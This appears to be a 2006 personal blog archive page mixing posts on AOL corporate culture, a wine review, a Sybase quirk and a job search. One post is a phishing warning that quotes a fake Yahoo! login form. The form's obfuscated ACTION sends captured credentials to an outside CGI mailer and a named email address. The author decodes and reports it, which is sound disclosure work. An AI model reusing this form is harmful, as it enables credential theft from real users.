A little less conversation, a little more action, please.

May 30, 2006 by 3 Comments

Last week’s Argonauts Gang Part II features Jason Calacanis with the Gillmore Gang. Jason makes the comment that, “I heard you could buy a review at TechCrunch” which gets Michael Arrington to write about it and Jason responds. Apparently, this caused quite a swirl over the holiday weekend.

Jason definitely takes transparency to the extreme. I’m sure he’s said stuff which he has either regrettted saying or has been misinterpreted. But, one thing’s for sure, he must have gotten the fortune cookie my wife got this past weekend: “It is better to do something imperfectly than to do nothing perfectly.” You can always correct mistakes, but you can’t get things done unless you do something, and Jason is definitely a do-er. For example, now that he’s part of the AOL family, he’s shining the light on some pretty dark places like the new AIM Triton and AOL Search.

A fellow AOL’er, Shawn Christopher suggests that he thinks Jason’s straight-forward approach is somewhat disrespectful. You know, you might be right, Shawn. Sadly, AOL is an extremely reactionary company. “Proactive” might as well be a four-letter word. I’m guessing that Jason understands this, that you kinda-sorta have to “force the hand” of business to react and you do that by airing things in public, not behind closed doors where suggestions can be ignored.

You’re right, maybe it’s not very nice. Maybe it’s even disrespectful. But, as an employee and shareholder myself, perhaps it’s time for “A little less conversation, a little more action, please. All this aggravation ain’t satisfactioning me.” — Elvis (Wikipedia, Amazon, YouTube, Lyrics) In times where AOL is being touted as the number one worst tech product of all time according to PCWorld, perhaps the time for ignoring our glaring faults is long gone?

Jason takes care not to disparage the talented engineers that work on our products. I bet if you ask him, he’ll tell you that he respects them all a great deal. But, our products are a different story. He takes an objective look at the products, focuses on a metric that’s measurable (i.e., placement of first organic search result, memory footprint of Triton), and then asks for change and improvement. How many times have you had your management make vague and overarching edicts like “make it better” without any clue what “better” is? Jason at least gives feedback where improvements are straight-forward to evaluate and measure. That’s golden, in my book.

Lets start focusing the conversations around how we can make AOL products which are clearly hurting, better. Suggesting we shouldn’t be openly discussing problems and listening to our customers’ feedback is also disrespectful: of our customers.

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Filed Under: Blogging 3 Comments

del.icio.us/dossy links since May 22, 2006 at 09:00 AM

May 29, 2006 by Leave a Comment

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Dilbert is Dossy in cartoon form, it’s the only explanation.

May 22, 2006 by Leave a Comment
I know you were concerned that my meetings were using up all of the time you had for doing work.

05/21/2006, panel 7: PHB says, “I know you were concerned that my meetings were using up all of the time you had for doing work.”

Damn, does Scott read my blog or something?

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del.icio.us/dossy links since May 15, 2006 at 09:00 AM

May 22, 2006 by Leave a Comment

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Robertson Winery Gewurztraminer Special Late Harvest 2004 (South African Wine)

May 16, 2006 by 8 Comments

This past Sunday, my wife invited over several of her South African ex-pat friends over for a Mother’s Day braai at our house. There were lots of kids here, I lost count around 12, running around our yard and in our house. There was lots of food and excellent wines being passed around. One really captured my wife’s attention, a very sweet and fruity white wine. So much so, that she’s kept the bottle and given it to me telling me to go find some more of it.

Robertson Winery Gewurztraminer Special Late Harvest 2004

The wine is the Robertson Winery Gewürztraminer Special Late Harvest 2004 (link). It’s a South African wine made by the fairly young Robertson Winery (Est. 1941). This white wine is very sweet and fruity, with sugar at harvest at 244 g/L and a residual sugar of 47.4 g/L, according to the label. I’m no experienced wine snob, but it sure was a tasty wine.

So my next challenge is: contact one of their distributors in New Jersey and see how I can get some more of this stuff.

Have you ever had this wine, or any of the other Robertson Winery wines? What did you think of them? Share your thoughts in the comments below!

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Filed Under: Food 8 Comments

del.icio.us/dossy links since May 8, 2006 at 12:08 PM

May 15, 2006 by Leave a Comment

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sp_helprotect, not sp_helpprotect … can’t anyone at Sybase spell?!

May 12, 2006 by 2 Comments

So, this morning I had to find out what privileges had been granted on a
particular stored proc in Sybase and for the life of me, I couldn’t understand
why sp_helpprotect was giving me the 2812 “stored proc not
found” error message. Finally, I found this page which reminded me that the name of the stored proc is actually sp_helprotect!

Can’t anyone at Sybase spell? I ran into this exact same problem only a month or two ago with RAISERROR … I wasted a good hour until I realized that it wasn’t spelled RAISEERROR, like you would expect it to be, if you could spell.

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Alert: “pupzz2000” phishing attack via Yahoo! Geocities

May 8, 2006 by 5 Comments

http://geocities.com/pupzz2000/

This URL is being sent around via IM. It’s a very convincing page that looks like a login for Yahoo! Photos, being circulated by what I suspect is a virus/trojan that uses AIM to propagate as I received this URL via an IM from someone I knew.

Looking at the page’s source (as I was skeptical about having to log into Yahoo! Photos at a geocities.com URL), I found:

<FORM METHOD="POST" ACTION="&#104;&#116;&#116;&#112;://&#119;&#119;&#119;&#050;&#046;&#102;&#105;&#098;&#101;&#114;&#098;&#105;&#116;&#046;&#110;&#101;&#116;/&#102;&#111;&#114;&#109;/&#109;&#097;&#105;&#108;&#116;&#111;&#046;&#099;&#103;&#105;" ENCTYPE="x-www-form-urlencoded">

	<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
    <INPUT TYPE="hidden" NAME="Mail_To" VALUE="dielameragainlol@googlemail.com">
    <INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">

Decoding that form ACTION, it is the following URL:

http://www2.fiberbit.net/form/mailto.cgi

This Geocities page needs to be shut down ASAP before too many people get their Yahoo! accounts compromised. I’ve already sent a message to Yahoo! via it’s abuse web contact form. But, keep on the lookout for this kind of thing.

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Filed Under: Geeking out 5 Comments

del.icio.us/dossy links since May 1, 2006 at 09:00 AM

May 8, 2006 by Leave a Comment

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Can blogging help me find a new job?

May 5, 2006 by 3 Comments

I realize I’m not really well known or famous like Niall Kennedy is, but he used blogging to advertise his availability and find a new job. Both Ian at Bold Career and Tim Bray have both written about blogging and how it might affect your career.

Why am I blogging about this? Well, close to three years ago, in August 2003, I took a sizable pay cut in order to switch jobs. No, that’s not quite right: I quit my old job when they laid off my entire team, with really nice severance packages, and expected me to stay around managing the outsourced team in India. Anyone who knows me well enough, knows that I am actually in favor of seeking competively priced labor and I’m in favor of outsourcing overseas. But, I could tell that the partner that was chosen — with some ridiculous multi-year locked in contract — was never going to be able to deliver what was needed. (Three years later, talking to old ex-coworkers, it sounds like I was absolutely right.) While I hate failure, I’m not afraid of it. What I cannot tolerate is being locked into it, with no chance of ever possibly succeeding. I constantly struggle daily to push for what’s right and what’s best, but if it’s clear that can never be accomplished — I’m not just talking extremely difficult but truly impossible — then persistence and perseverance isn’t commendable, it’s foolhardy.

So, now, three years later, I’m part of a team working on a project that’s starting to head in the same direction: we’re at high risk of failure and all forces involved are pushing it in that direction. I’m clutching tightly to Ed Yourdon’s Death March, looking for hope. Here’s a quick glimpse of my current schedule according to Outlook (actual details have been sanitized via pixellation):

The sad irony is, the worse this project has gotten, the more meetings have been scheduled, which means less time to do any actual work on tasks. Just look at that calendar! Between the hours of 09:00 AM and 06:00 PM, on an average day, I have 4 hours of time where I can actually do work. Lets do the math: in a 45 hour work week, less than 50% of that time is unscheduled, where I can do work. (I even eat lunch at my desk and work through lunch.) I also do an hour of work in the morning at home, and a few hours of work in the evening before going to bed.

This is an absolutely classic example of a Death March project and it has all the tell-tale signs.

Frankly, I’m beyond done here. I’m willing to work extra-hard and make sacrifices and try to accomplish the unimaginable, but I need to do it for a company and a team that will support my efforts so it’s possible. I absolutely refuse to work a 20+ hour weekend and see the look of anger, frustration and disappointment on the faces of my wife and kids. This weekend, I’m going to spend it surfing indeed.com and try to line up interviews with headhunters and recruiters. (If there are any out there reading this, feel free to email me: dossy@panoptic.com.)

Indeed.com is really cool — you can subscribe to an RSS feed on your job searches and get updates that way. Here’s a search for “software engineer” jobs within 15 miles of Butler, NJ. Look at this gig, C/UNIX Embedded Software Engineer:

We are seeking an Experienced Software Engineer to develop firmware and/or software supported applications.  This individual must have five plus years C/Unix; some OO Java or C++ skills are a plus but not required.  Proficiency with C and socket, multi-thread programming is required, as is familiarity with TCP\IP, HTTP and other protocols related to web services.

…

Location: Parsippany, NJ
Pay Rate: $75k – 90k

This is pretty close to perfect for me. I have lots of multi-threaded and network programming in C (via AOLserver). Of course, it’d mean taking a pay cut — again — but, I need a job. I have the financial responsibility for supporting a wife and two kids.

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Filed Under: AOL 3 Comments
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